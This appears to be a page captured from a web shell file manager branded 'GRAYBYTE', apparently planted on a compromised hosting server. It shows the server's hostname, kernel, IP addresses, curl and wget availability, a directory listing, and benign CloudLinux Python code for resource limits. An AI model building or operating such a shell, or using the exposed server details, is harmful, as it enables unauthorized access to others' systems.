✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server303.web-hosting.com ​🇻​♯➤ 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 199.188.205.31 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.163
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/websiteisolation//limits.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2026 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""Kernel-side LVP/LVE operations via pylve bindings."""

from lve_utils.pylve_wrapper import PyLve

from .exceptions import LvdError

try:
    import pylve
except ImportError:
    pylve = None


def get_pylve():
    """Initialize and return a PyLve instance."""
    if pylve is None:
        raise LvdError("pylve module not available")
    py = PyLve(pylve)
    py.initialize()
    if not py.domains_supported():
        raise LvdError("kernel does not support per-domain limits "
                       "(requires lve_lvp_create2)")
    return py


def settings_from_limits(py, limits):
    """Create liblve_settings from a limits dict."""
    settings = py.liblve_settings()
    if 'cpu' in limits:
        settings.ls_cpu = int(limits['cpu'])
    if 'pmem' in limits:
        settings.ls_memory_phy = int(limits['pmem'])
    if 'io' in limits:
        settings.ls_io = int(limits['io'])
    if 'nproc' in limits:
        settings.ls_nproc = int(limits['nproc'])
    if 'iops' in limits:
        settings.ls_iops = int(limits['iops'])
    return settings


def settings_to_dict(settings):
    """Convert liblve_settings to a dict of limit fields."""
    return {
        'cpu': settings.ls_cpu,
        'pmem': settings.ls_memory_phy,
        'io': settings.ls_io,
        'nproc': settings.ls_nproc,
        'iops': settings.ls_iops,
    }


def lvp_setup_direct(domain_id, settings):
    """Call pylve.lve_lvp_setup directly, bypassing the lveapi wrapper.
    The lveapi wrapper iterates /proc/lve/resellers/ which doesn't exist
    for nested domain LVPs (they are leaf containers)."""
    rc = pylve.lve_lvp_setup(domain_id, settings)
    return rc


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jun 2026 8.32 AM
root / root
0755
__pycache__
--
23 Jun 2026 8.31 AM
root / root
0755
__init__.py
0.176 KB
3 Jun 2026 12.08 PM
root / root
0644
commands.py
7.766 KB
3 Jun 2026 12.08 PM
root / root
0644
config.py
10.347 KB
3 Jun 2026 12.08 PM
root / root
0644
exceptions.py
0.255 KB
3 Jun 2026 12.08 PM
root / root
0644
id_registry.py
4.843 KB
3 Jun 2026 12.08 PM
root / root
0644
limits.py
1.795 KB
3 Jun 2026 12.08 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF